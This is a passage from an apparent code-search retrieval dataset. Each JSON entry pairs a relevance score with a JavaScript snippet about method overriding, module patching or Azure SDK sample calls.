error);\n }\n };\n }\n }", "title": "" }, { "docid": "4c4de24c72b2322fcdab8acedef2bef8", "score": "0.4722973", "text": "_instrumentOperations(collection, operations, getCurrentHub) {\n operations.forEach((operation) => this._patchOperation(collection, operation, getCurrentHub));\n }", "title": "" }, { "docid": "e69a2f7eb4d795c13cb4544cdded01d7", "score": "0.4720055", "text": "function SyncPrivateApi() {}", "title": "" }, { "docid": "66bab72499870d2b396d0122b2ba5ed2", "score": "0.4708227", "text": "function convertLiveDocs(apiInfo){\n rename(apiInfo,'title','name');\n rename(apiInfo,'prefix','publicPath');\n rename(apiInfo,'server','basePath');\n apiInfo.resources = {};\n for (var e in apiInfo.endpoints) {\n var ep = apiInfo.endpoints[e];\n var eName = ep.name ? ep.name : 'Default';\n\n if (!apiInfo.resources[eName]) apiInfo.resources[eName] = {};\n apiInfo.resources[eName].description = ep.description;\n\n for (var m in ep.methods) {\n var lMethod = ep.methods[m];\n if (!apiInfo.resources[eName].methods) apiInfo.resources[eName].methods = {};\n var mName = lMethod.MethodName ? lMethod.MethodName : 'Default';\n if (mName.endsWith('.')) mName = mName.substr(0,mName.length-1);\n mName = mName.split(' ').join('_');\n rename(lMethod,'HTTPMethod','httpMethod');\n rename(lMethod,'URI','path');\n rename(lMethod,'Synopsis','description');\n rename(lMethod,'MethodName','name');\n\n lMethod.path = fixPathParameters(lMethod.path);\n\n var params = {};\n for (var p in lMethod.parameters) {\n var lParam = lMethod.parameters[p];\n if (!lParam.type) lParam.type = 'string';\n if (lParam.type == 'json') lParam.type = 'string';\n if (!lParam.location) {\n if (lMethod.path.indexOf(':'+lParam.name)>=0) {\n lParam.location = 'path';\n }\n else {\n lParam.location = 'query';\n }\n }\n if (lParam.location == 'boddy') lParam.location = 'body'; // ;)\n params[lParam.name] = lParam;\n delete lParam.name;\n delete lParam.input; // TODO checkbox to boolean?\n delete lParam.label;\n rename(lParam,'options','enum');\n }\n lMethod.parameters = params;\n if (Object.keys(params).length==0) delete lMethod.parameters;\n\n apiInfo.resources[eName].methods[mName] = lMethod;\n }\n\n }\n delete apiInfo.endpoints; // to keep size down\n return apiInfo;\n}", "title": "" }, { "docid": "c3d331292337af63e2b4e71ed6e38b70", "score": "0.4703664", "text": "update(properties) {\r\n const postBody = jsS(extend({\r\n \"__metadata\": { \"type\": \"SP.Web\" },\r\n }, properties));\r\n return this.postCore({\r\n body: postBody,\r\n headers: {\r\n \"X-HTTP-Method\": \"MERGE\",\r\n },\r\n }).then((data) => {\r\n return {\r\n data: data,\r\n web: this,\r\n };\r\n });\r\n }", "title": "" }, { "docid": "8ba87b808eed6d2a9f29214eb3bca216", "score": "0.46944395", "text": "async update() {\n throw new Error(\"Operation not supported.\");\n }", "title": "" }, { "docid": "c6a1187777d3c53199e8081fafde4ad3", "score": "0.46934274", "text": "presetCosSdkInstance(cosSdkInstance) {\n const methods = Object.keys(CosSdk.prototype).filter(method => !method.includes('Retry'));\n const result = {};\n methods.forEach((method) => {\n result[method] = (...args) => cosSdkInstance[method](...args);\n result[`${method}Retry`] = retry({\n func: async (...args) => {\n if (this.status === 'canceled') {\n throw this.cancelError;\n }\n const uuid = getUUID();\n let { Body = {}, GetBody } = args[0] || {};\n if (GetBody) {\n Body = GetBody();\n args[0].Body = Body;\n }\n if (typeof Body.pipe === 'function') {\n this.runningStream[uuid] = Body;\n }\n try {\n const res = await cosSdkInstance[method](...args);\n return res;\n } catch (err) {\n throw err;\n } finally {\n delete this.runningStream[uuid];\n }\n },\n maxTryTime: this.maxTryTime,\n });\n });\n this.cosSdkInstance = result;\n }", "title": "" }, { "docid": "81d52995cdb6aa76908a01ef7fbaf9ae", "score": "0.4678106", "text": "bootMethods(methods) {\n _.each(methods, (callback, name) => {\n this.registerMethod(name, callback);\n });\n }", "title": "" }, { "docid": "f1fe4378a09b5017b8e8fabdb01760e6", "score": "0.46762055", "text": "registerMethod(method, alias) {\n let that = this;\n alias = (typeof alias === 'undefined' ? method : alias);\n this[alias] = (...args) => {\n return that.contracts.callMethodRollback(that.address, method, args);\n }\n }", "title": "" }, { "docid": "0a036ace82c2d92315be1aec30d77251", "score": "0.46742594", "text": "function patchRouterMethod(router, methodName) {\n router['old' + methodName] = router[methodName]\n router[methodName] = async function(location) {\n return router['old' + methodName](location).catch(error => {\n if (error.name === 'NavigationDuplicated') {\n return this.currentRoute\n }\n throw error\n })\n }\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "68c72dfa87f461d5ed49d3bd32f461bd", "score": "0.46495146", "text": "function method (request) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n}", "title": "" }, { "docid": "bb89c5605fb4a6f43afc478a4d81d009", "score": "0.4643365", "text": "function ExportedMethods () {\n}", "title": "" }, { "docid": "bb89c5605fb4a6f43afc478a4d81d009", "score": "0.4643365", "text": "function ExportedMethods () {\n}", "title": "" }, { "docid": "e9a9ce67bea76209fc1db5d612a7be97", "score": "0.46345454", "text": "function method (request) {\n\t if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n\t request.headers.set('X-HTTP-Method-Override', request.method);\n\t request.method = 'POST';\n\t }\n\t}", "title": "" }, { "docid": "03fdb3e7121a650c2495705da5b6b80c", "score": "0.4629542", "text": "init() {\n module_utils.patchModule(\n 'openwhisk/lib/actions.js',\n 'invoke',\n openWhiskWrapper$1,\n actions => actions.prototype\n );\n }", "title": "" }, { "docid": "23ecc1a22db71abb24cd50bf68de8e40", "score": "0.4616414", "text": "continueRequestOverrides() {\n throw new Error('Not implemented');\n }", "title": "" }, { "docid": "822569afc1faae089a9c1d097e1710bb", "score": "0.4614914", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers['X-HTTP-Method-Override'] = request.method;\n request.method = 'POST';\n }\n\n next();\n }", "title": "" }, { "docid": "822569afc1faae089a9c1d097e1710bb", "score": "0.4614914", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers['X-HTTP-Method-Override'] = request.method;\n request.method = 'POST';\n }\n\n next();\n }", "title": "" }, { "docid": "c7aa168546ef30095ad76956e0f0caaf", "score": "0.46091723", "text": "static get httpMethods() {\n return {\n get: 'GET',\n post: 'POST',\n put: 'PUT',\n delete: 'DELETE',\n head: 'HEAD'\n }\n }", "title": "" }, { "docid": "1eb7a86a832170e2b20e4b530d3fd5f4", "score": "0.46081588", "text": "function TestMethods() {}", "title": "" }, { "docid": "401a1a9034275859438d80ff0bc9ddca", "score": "0.46038872", "text": "setApiKey() {\n\n }", "title": "" }, { "docid": "fb431da3469ddfe4ed512ff20cf1def1", "score": "0.4599441", "text": "function addExtensionMethods() {\n var carrier = hub_1.getMainCarrier();\n if (carrier.__SENTRY__) {\n carrier.__SENTRY__.extensions = carrier.__SENTRY__.extensions || {};\n if (!carrier.__SENTRY__.extensions.startSpan) {\n carrier.__SENTRY__.extensions.startSpan = startSpan;\n }\n if (!carrier.__SENTRY__.extensions.traceHeaders) {\n carrier.__SENTRY__.extensions.traceHeaders = traceHeaders;\n }\n }\n}", "title": "" }, { "docid": "8e0f58988ba033773046545d692168c2", "score": "0.4576271", "text": "allowAllMethods() {\n addMethod.call(this, 'allow', '*', '*', null);\n }", "title": "" }, { "docid": "58aefcdd87be78b4bf5824ffc9198c15", "score": "0.45615315", "text": "async Invoke(stub) \n {\n let ret = stub.getFunctionAndParameters();\n console.info(ret);\n\n let method = this[ret.fcn];\n if (!method) \n {\n console.error('Function::' + ret.fcn + ' not found');\n throw new Error('Unkonw' + ret.fcn + ' invoke');\n }\n try \n {\n let payload = await method(stub, ret.params);\n return shim.success(payload);\n } catch (err) \n {\n console.log(err);\n return shim.error(err);\n }\n }", "title": "" }, { "docid": "aaa6750e52dc1f13c6b6bd5e82b99960", "score": "0.45533255", "text": "function addMethodsForV4(table, azuModel) {\n // const classMethods = genClassMethods(azuModel);\n // Object.assign(table, classMethods);\n\n // const instanceMethods = genInstanceMethods(azuModel);\n // if(table.prototype) {\n // Object.assign(table.prototype, instanceMethods);\n // }\n}", "title": "" }, { "docid": "5525faeb69dc44b0a754e6654b5be8b5", "score": "0.4550277", "text": "init() {\n ['post', 'get', 'put', 'patch', 'delete'].forEach((method) => {\n moduleUtils.patchModule(\n 'superagent',\n method,\n superagentWrapper\n );\n });\n }", "title": "" }, { "docid": "b3a32df6b9e6c2276b6681d0165ee0f6", "score": "0.45476326", "text": "function _override(object, methodName, callback) {\n object[methodName] = callback(object[methodName])\n}", "title": "" }, { "docid": "ece90c9f5b8a9651b76c413d45c04ae3", "score": "0.45396456", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers['X-HTTP-Method-Override'] = request.method;\n request.method = 'POST';\n }\n\n next();\n}", "title": "" }, { "docid": "eca3d3b1b1759d075071d8a74eaac201", "score": "0.45356843", "text": "function ExtraMethods() {}", "title": "" }, { "docid": "363362fdf86efd75f5332acf01459114", "score": "0.4530685", "text": "static monkeyPatchOnce(object, methodName) {\n return new Promise((resolve, reject) => {\n this.monkeyPatch(object, methodName, data => {\n data.patch.cancel();\n resolve(data);\n });\n });\n }", "title": "" }, { "docid": "2a5f3cfe44fb2c46659b48f2d45655e5", "score": "0.4525902", "text": "init() {\n module_utils.patchModule(\n 'aws-sdk',\n 'send',\n AWSSDKWrapper,\n AWSmod => AWSmod.Request.prototype\n );\n module_utils.patchModule(\n 'aws-sdk',\n 'promise',\n AWSSDKWrapper,\n AWSmod => AWSmod.Request.prototype\n );\n\n // This method is static - not in prototype\n module_utils.patchModule(\n 'aws-sdk',\n 'addPromisesToClass',\n wrapPromiseOnAdd,\n AWSmod => AWSmod.Request\n );\n }", "title": "" }, { "docid": "ae2915bdcb9c8f1ce12765fa673767ca", "score": "0.45238703", "text": "setApiKey(apiKey) {\n this.client.setApiKey(apiKey);\n }", "title": "" }, { "docid": "beaeae757b0d0238a86f2c49150cb97d", "score": "0.45231134", "text": "generateOperations() {\n if (this._Operations) {\n return;\n }\n\n this._signHeadersList = this._signHeadersList || this.signHeadersList; // backward support\n this._serviceName = this._serviceName || this.serviceName;\n this._serviceVersion = this._serviceVersion || this.serviceVersion;\n\n // the holder class\n const Operations = function(needMeta, meta) {\n this.needMeta = needMeta;\n this.meta = meta;\n };\n\n // assign instance properties into prototype\n assign(Operations.prototype, this);\n\n // update supported methods, but need to bind it back to the original instance\n Operations.prototype.wmHeaders = this.wmHeaders.bind(this);\n\n this._Operations = Operations;\n\n // wrapper for each operation\n\n //\n // Each operation could specify multiple tags.\n // Each tag goes in swagger.apis[<tag>] as a group of all operations belonging to it\n // Any operations that don't have tags go into the default group.\n // In each group, there's apis object that holds the details of the operations inside it\n //\n each(this.swagger.apis, group => {\n if (!isFunction(group) && isObject(group)) {\n each(group, (fn, operationId) => {\n if (operationId !== \"help\" && isFunction(fn) && !Operations.prototype[operationId]) {\n const api = group.apis[operationId];\n const spec = this.swagger.spec.paths[api.path][api.method];\n Operations.prototype[operationId] = function swapiOperationWrapper(params, options) {\n const meta = this.useMeta();\n return apiFuncInvoke({\n api,\n spec,\n meta,\n client: this,\n fn,\n params,\n options: options || {},\n operationId\n });\n };\n // add details from Swagger\n Operations.prototype[operationId].details = group.operations[operationId];\n }\n });\n }\n });\n\n Operations.prototype.useMeta = function useMeta() {\n if (this.needMeta && !this.meta) {\n throw new Error(\"swapi operation needs meta\");\n }\n return this.meta;\n };\n\n Operations.prototype.invoke = function invoke(tag, operationId, params, options) {\n return invokeWithMeta({\n meta: this.useMeta(),\n client: this,\n tag,\n operationId,\n params,\n options\n });\n };\n }", "title": "" }, { "docid": "b133c63260320e61168731135b199823", "score": "0.45116982", "text": "function method(request) {\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n}", "title": "" }, { "docid": "6948f09890b6ec336fe87fa72f2fcb3a", "score": "0.450209", "text": "function proxyLocalForageMethod(method) {\n var _this = this;\n return function () {\n var args = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n args[_i] = arguments[_i];\n }\n return __awaiter(_this, void 0, void 0, function () {\n return __generator(this, function (_a) {\n switch (_a.label) {\n case 0:\n if (!!lf) return [3 /*break*/, 2];\n return [4 /*yield*/, _core_sdk_environment__WEBPACK_IMPORTED_MODULE_0__.SDKEnvironment.configureStorage()];\n case 1:\n lf = _a.sent();\n _a.label = 2;\n case 2: return [4 /*yield*/, lf.ready()];\n case 3:\n _a.sent();\n return [2 /*return*/, lf[method].apply(lf, __spread(args))];\n }\n });\n });\n };\n}", "title": "" }, { "docid": "4f76f1f3acc0c787389a7bb60d4d4f54", "score": "0.4497252", "text": "async function deleteTagsFieldOfAnAzureBareMetalInstance() {\n const subscriptionId =\n process.env[\"BAREMETALINFRASTRUCTURE_SUBSCRIPTION_ID\"] ||\n \"f0f4887f-d13c-4943-a8ba-d7da28d2a3fd\";\n const resourceGroupName =\n process.env[\"BAREMETALINFRASTRUCTURE_RESOURCE_GROUP\"] || \"myResourceGroup\";\n const azureBareMetalInstanceName = \"myABMInstance\";\n const tagsParameter = { tags: {} };\n const credential = new DefaultAzureCredential();\n const client = new BareMetalInfrastructureClient(credential, subscriptionId);\n const result = await client.azureBareMetalInstances.update(\n resourceGroupName,\n azureBareMetalInstanceName,\n tagsParameter\n );\n console.log(result);\n}", "title": "" }, { "docid": "383e0ee169eedf65d472f9d3ace05d84", "score": "0.44922203", "text": "function patchMethods(address, component, callMethod, reducers, signals) {\n var methods = mapValues(component.methods, function (method) {\n return function (arg) {\n if (typeof Event !== 'undefined' && arg instanceof Event) {\n callMethod(address, method, signals, methods, reducers, this, arg, {});\n } else {\n callMethod(address, method, signals, methods, reducers, null, null, arg);\n }\n };\n });\n return methods;\n}", "title": "" }, { "docid": "62ad70ef710effd6de22a2869a4d2490", "score": "0.44892094", "text": "function arrayMethods(methods){\n var arrProto = Array.prototype;\n for (var name in methods){\n var method = methods[name];\n arrProto[name] = /*arrProto[name] ||*/ methods[name];\n }\n }", "title": "" }, { "docid": "90e9dc343d460bdcf30ebc6d370ab393", "score": "0.44870612", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n next();\n}", "title": "" }, { "docid": "90e9dc343d460bdcf30ebc6d370ab393", "score": "0.44870612", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n next();\n}", "title": "" }, { "docid": "90e9dc343d460bdcf30ebc6d370ab393", "score": "0.44870612", "text": "function method (request, next) {\n\n if (request.emulateHTTP && /^(PUT|PATCH|DELETE)$/i.test(request.method)) {\n request.headers.set('X-HTTP-Method-Override', request.method);\n request.method = 'POST';\n }\n\n next();\n}", "title": "" }, { "docid": "a486ac955c8a2723211df3fbdd9e3048", "score": "0.44868687", "text": "setGetCollectionApiPath(myFunc) {\n this.getCollectionApiPath = myFunc\n }", "title": "" }, { "docid": "adb3f09a2375550ceb70623ea89b3387", "score": "0.44850543", "text": "async function patchReservation() {\n const reservationOrderId = \"276e7ae4-84d0-4da6-ab4b-d6b94f3557da\";\n const reservationId = \"6ef59113-3482-40da-8d79-787f823e34bc\";\n const parameters = {\n appliedScopeType: \"Shared\",\n instanceFlexibility: \"Off\",\n };\n const credential = new DefaultAzureCredential();\n const client = new AzureReservationAPI(credential);\n const result = await client.reservation.beginUpdateAndWait(\n reservationOrderId,\n reservationId,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "5034002fd495783160af3a7f73fd6fe0", "score": "0.44835454", "text": "denyAllMethods() {\n addMethod.call(this, 'deny', '*', '*', null);\n }", "title": "" }, { "docid": "7a973130c13b5bef3b6442a7d22a345d", "score": "0.44834217", "text": "function switchEachFunctionContext(api, context) {\n const customApiMethods = Object.keys(api)\n const customRequestApi = customApiMethods.reduce((acc, key) => {\n acc[key] = acc[key].bind(context)\n return acc\n }, {})\n\n}", "title": "" }, { "docid": "931132b6f2876043a9a21164d7db231b", "score": "0.44801673", "text": "getClientCalls() {\n\n }", "title": "" }, { "docid": "b4ff3c2a26ec19e9720b076d7a08edbb", "score": "0.44779932", "text": "setGetApiPath(myFunc) {\n this.getApiPath = myFunc\n }", "title": "" }, { "docid": "7edfe7762564222735b90f06d1dfce18", "score": "0.44703993", "text": "function addExtensionMethods() {\n _addTracingExtensions();\n // Detect and automatically load specified integrations.\n if (utils_1.isNodeEnv()) {\n _autoloadDatabaseIntegrations();\n }\n // If an error happens globally, we should make sure transaction status is set to error.\n errors_1.registerErrorInstrumentation();\n}", "title": "" }, { "docid": "dc80dd64ac17fe17f6908c8d7dd1ae9f", "score": "0.4438607", "text": "proceedArrayMethods(scope) {\n return Promise.all(\n this.arrayMethods.map(async (methodName) => {\n // each supported method\n const methodBody = scope.source[methodName];\n if (methodBody) {\n const fields = Object\n .keys(methodBody)\n .filter((field) => (this.assignFilter(methodBody, field, scope)));\n return Promise.all(\n fields.map(async (fieldName) => {\n await this.beforeArrayMethod(methodBody[fieldName], methodName, fieldName, scope);\n this.proceedArrayMethod(methodBody[fieldName], methodName, fieldName, scope);\n }),\n );\n }\n }),\n );\n }", "title": "" }, { "docid": "7ad65baebee11c82f4c8d81607bfe1c9", "score": "0.44305268", "text": "function override(object, methodName, callback) {\n object[methodName] = callback(object[methodName]);\n}", "title": "" }, { "docid": "823730ddf43f6f5162cb0fb5b529952b", "score": "0.44266713", "text": "function SetAPI(arg) {\n // Establish an auth object which has properties token and user_id.\n const module = 'SetAPI';\n let auth;\n if (typeof arg.auth === 'function') {\n auth = arg.auth();\n } else {\n // REALLY??\n auth = arg.auth || {};\n }\n\n if (!arg.url) {\n throw new Error('The service discovery url was not provided');\n }\n if (!arg.version) {\n throw new Error('The service version was not provided');\n }\n\n function options() {\n return {\n timeout: arg.timeout,\n authorization: auth.token,\n rpcContext: arg.rpcContext,\n };\n }\n\n this.lookupModule = function () {\n const func = 'get_service_status',\n params = [\n {\n module_name: module,\n version: arg.version || 'dev',\n },\n ];\n return jsonRpc.request(arg.url, 'ServiceWizard', func, params, 1, options());\n };\n\n /*\n * ref\n */\n this.get_reads_set_v1 = function () {\n const params = Array.prototype.slice.call(arguments),\n func = 'get_reads_set_v1';\n\n return this.lookupModule().then((serviceStatus) => {\n return jsonRpc.request(serviceStatus.url, module, func, params, 1, options());\n });\n };\n\n /*\n * ref\n */\n this.save_reads_set_v1 = function () {\n const params = Array.prototype.slice.call(arguments),\n func = 'save_reads_set_v1';\n\n return this.lookupModule().then((serviceStatus) => {\n return jsonRpc.request(serviceStatus.url, module, func, params, 1, options());\n });\n };\n\n /*\n * ref\n */\n this.list_sets = function () {\n const params = Array.prototype.slice.call(arguments),\n func = 'list_sets';\n\n return this.lookupModule().then((serviceStatus) => {\n return jsonRpc.request(serviceStatus.url, module, func, params, 1, options());\n });\n };\n\n /*\n * ref\n */\n this.get_set_items = function () {\n const params = Array.prototype.slice.call(arguments),\n func = 'get_set_items';\n\n return this.lookupModule().then((serviceStatus) => {\n return jsonRpc.request(serviceStatus.url, module, func, params, 1, options());\n });\n };\n\n /*\n * ref\n */\n this.status = function () {\n const params = Array.prototype.slice.call(arguments),\n func = 'status';\n\n return this.lookupModule().then((serviceStatus) => {\n return jsonRpc.request(serviceStatus.url, module, func, params, 1, options());\n });\n };\n }", "title": "" }, { "docid": "ed6f6e4fa2d29059cfc751597366233d", "score": "0.4423966", "text": "function override(object, methodName, callback)\n{\n object[methodName] = callback(object[methodName]);\n}", "title": "" }, { "docid": "0336ca122d8b6360e2bd3f4cf3ddb297", "score": "0.44186294", "text": "function _registerLegacyAPIs() {\n context.foundation = {\n makeLogger,\n startWorkers,\n getConnection,\n getEventEmitter: getSystemEvents\n };\n }", "title": "" }, { "docid": "62d99f519065c208cde6c1c266ebf509", "score": "0.44156128", "text": "function wrapMethod(OriginalInstance, wrappedInstance, methodName) {\n wrappedInstance[methodName] = function () {\n return OriginalInstance[methodName].apply(wrappedInstance, arguments);\n };\n}", "title": "" }, { "docid": "62d99f519065c208cde6c1c266ebf509", "score": "0.44156128", "text": "function wrapMethod(OriginalInstance, wrappedInstance, methodName) {\n wrappedInstance[methodName] = function () {\n return OriginalInstance[methodName].apply(wrappedInstance, arguments);\n };\n}", "title": "" }, { "docid": "9394f61cc166e2f6c5f0ac8dbf7c4612", "score": "0.44115293", "text": "function Test_SetAzureStatus() {\n return __awaiter(this, void 0, void 0, function () {\n var in_rpc_azure_status, out_rpc_azure_status;\n return __generator(this, function (_a) {\n switch (_a.label) {\n case 0:\n console.log(\"Begin: Test_SetAzureStatus\");\n in_rpc_azure_status = new VPN.VpnRpcAzureStatus({\n IsEnabled_bool: true\n });\n return [4 /*yield*/, api.SetAzureStatus(in_rpc_azure_status)];\n case 1:\n out_rpc_azure_status = _a.sent();\n console.log(out_rpc_azure_status);\n console.log(\"End: Test_SetAzureStatus\");\n console.log(\"-----\");\n console.log();\n return [2 /*return*/];\n }\n });\n });\n}", "title": "" }, { "docid": "ffe79e810611a1fbef3af0a5d7d20f3e", "score": "0.44083554", "text": "_initMethodOverride() {\n this.app.use(methodOverride());\n }", "title": "" }, { "docid": "be7d056a149c79e3add918c14952095d", "score": "0.44043985", "text": "async function apiManagementUpdatePortalConfig() {\n const subscriptionId = process.env[\"APIMANAGEMENT_SUBSCRIPTION_ID\"] || \"subid\";\n const resourceGroupName = process.env[\"APIMANAGEMENT_RESOURCE_GROUP\"] || \"rg1\";\n const serviceName = \"apimService1\";\n const portalConfigId = \"default\";\n const ifMatch = \"*\";\n const parameters = {\n cors: { allowedOrigins: [\"https://contoso.com\"] },\n csp: {\n allowedSources: [\"*.contoso.com\"],\n mode: \"reportOnly\",\n reportUri: [\"https://report.contoso.com\"],\n },\n delegation: {\n delegateRegistration: false,\n delegateSubscription: false,\n delegationUrl: undefined,\n validationKey: undefined,\n },\n enableBasicAuth: true,\n signin: { require: false },\n signup: {\n termsOfService: {\n requireConsent: false,\n text: \"I agree to the service terms and conditions.\",\n },\n },\n };\n const credential = new DefaultAzureCredential();\n const client = new ApiManagementClient(credential, subscriptionId);\n const result = await client.portalConfig.update(\n resourceGroupName,\n serviceName,\n portalConfigId,\n ifMatch,\n parameters\n );\n console.log(result);\n}", "title": "" }, { "docid": "03bc13f2d9a2fc4a2ee1c5decd42e4b8", "score": "0.4397499", "text": "get allMethods() {}", "title": "" }, { "docid": "dfacb9d2435f3400e822472d5d764f9d", "score": "0.43907586", "text": "async function updateAnAzureMlFunction() {\n const subscriptionId = \"56b5e0a9-b645-407d-99b0-c64f86013e3d\";\n const resourceGroupName = \"sjrg7\";\n const jobName = \"sj9093\";\n const functionName = \"function588\";\n const functionParam = {\n properties: {\n type: \"Scalar\",\n binding: { type: \"Microsoft.MachineLearning/WebService\", batchSize: 5000 },\n },\n };\n const credential = new DefaultAzureCredential();\n const client = new StreamAnalyticsManagementClient(credential, subscriptionId);\n const result = await client.functions.update(\n resourceGroupName,\n jobName,\n functionName,\n functionParam\n );\n console.log(result);\n}", "title": "" }, { "docid": "d74cb287a21816915e113fd6ada95521", "score": "0.438683", "text": "_sendOutstandingMethods() {\n var self = this;\n\n if (isEmpty(self._outstandingMethodBlocks)) {\n return;\n }\n\n self._outstandingMethodBlocks[0].methods.forEach((m) => {\n m.sendMessage();\n });\n }", "title": "" }, { "docid": "463027844d5834627dce250c6d2c1b5b", "score": "0.43840513", "text": "static monkeyPatch(object, methodName, options, f) {\n const patchedFunction = new PatchedFunction(object, methodName);\n const patch = new Patch(patchedFunction, options, f);\n patchedFunction.addPatch(patch);\n return patch;\n }", "title": "" }, { "docid": "4c3f29ee51030db37f58653087307b50", "score": "0.43790722", "text": "patch (data, deserialize) {\n return this.push(PATCH, data, deserialize)\n }", "title": "" }, { "docid": "b25d13c6e42dd369e62c6d0b715b71f8", "score": "0.43770713", "text": "async function jobsPatch() {\n const subscriptionId = \"fa68082f-8ff7-4a25-95c7-ce9da541242f\";\n const resourceGroupName = \"SdkRg5154\";\n const jobName = \"SdkJob952\";\n const jobResourceUpdateParameter = {\n details: {\n contactDetails: {\n contactName: \"Update Job\",\n emailList: [\"[email protected]\"],\n phone: \"1234567890\",\n phoneExtension: \"1234\",\n },\n shippingAddress: {\n addressType: \"Commercial\",\n city: \"San Francisco\",\n companyName: \"Microsoft\",\n country: \"US\",\n postalCode: \"94107\",\n stateOrProvince: \"CA\",\n streetAddress1: \"16 TOWNSEND ST\",\n streetAddress2: \"Unit 1\",\n },\n },\n };\n const credential = new DefaultAzureCredential();\n const client = new DataBoxManagementClient(credential, subscriptionId);\n const result = await client.jobs.beginUpdateAndWait(\n resourceGroupName,\n jobName,\n jobResourceUpdateParameter\n );\n console.log(result);\n}", "title": "" }, { "docid": "df07c05fcebb85fc5e262c9542d976af", "score": "0.43730593", "text": "function test_crosshair_op_azone_azure() {}", "title": "" }, { "docid": "5e7115196d6cb6b5aa6610d62c739078", "score": "0.43641055", "text": "registerDeployMethod(method, alias) {\n let that = this;\n alias = (typeof alias === 'undefined' ? method : alias);\n this[alias] = (...args) => {\n return that.contracts.callMethodDeploy(that.address, method, args);\n }\n }", "title": "" }, { "docid": "89ca2c4512b8510a0e1cdbdf70c24d2b", "score": "0.4362831", "text": "function ElstrServerRpcCallsAdmin (){}", "title": "" }, { "docid": "63f05acde78375eabb058322e7c1ab23", "score": "0.4360573", "text": "async actionsTestUpdateClient() {\n try {\n await this.actionsPage.navigateToActionsPage()\n await this.actionsPage.updateClient(\"Lorena Joseph\", \"Jhon\", \"\", \"Send\")\n } catch (error) {\n console.error(`Error with ${this.actionsTestUpdateClient} function`)\n }\n }", "title": "" }, { "docid": "0ea312a08211a2656d8858d53904e913", "score": "0.4359082", "text": "function test_setApiKey() {\n hfapi.setApiKey(apiKey);\n}", "title": "" }, { "docid": "e9ae90a8805bc1631579127aeba2b9f9", "score": "0.4356299", "text": "function addMethod(app, callback, spec) {\n var rootPath = spec.path.split(\"/\")[1];\n var root = resources[rootPath];\n \n if (root && root.apis) {\n for (var key in root.apis) {\n var api = root.apis[key];\n if (api && api.path == spec.path && api.method == spec.method) {\n // found matching path and method, add & return\n appendToApi(root, api, spec);\n return;\n }\n }\n }\n\n var api = {\"path\" : spec.path};\n if (!resources[rootPath]) {\n if (!root) {\n var resourcePath = \"/\" + rootPath.replace(\"\\.\\{format\\}\", \"\"); \n root = {\n \"apiVersion\" : apiVersion, \"swaggerVersion\": swaggerVersion, \"basePath\": basePath, \"resourcePath\": resourcePath, \"apis\": [], \"models\" : []\n }; \n }\n resources[rootPath] = root;\n }\n\n root.apis.push(api);\n appendToApi(root, api, spec);\n\n // TODO: add some XML support\n // convert .{format} to .json, make path params happy\n var fullPath = spec.path.replace(\"\\.\\{format\\}\", \".json\").replace(/\\/{/g, \"/:\").replace(/\\}/g,\"\");\n var currentMethod = spec.method.toLowerCase();\n if (allowedMethods.indexOf(currentMethod)>-1) {\n app[currentMethod](fullPath, function(req,res) {\n res.header('Access-Control-Allow-Origin', \"*\");\n res.header(\"Access-Control-Allow-Methods\", \"GET, POST, DELETE, PUT\");\n res.header(\"Access-Control-Allow-Headers\", \"Content-Type\");\n \n res.header(\"Content-Type\", \"application/json; charset=utf-8\");\n\n if 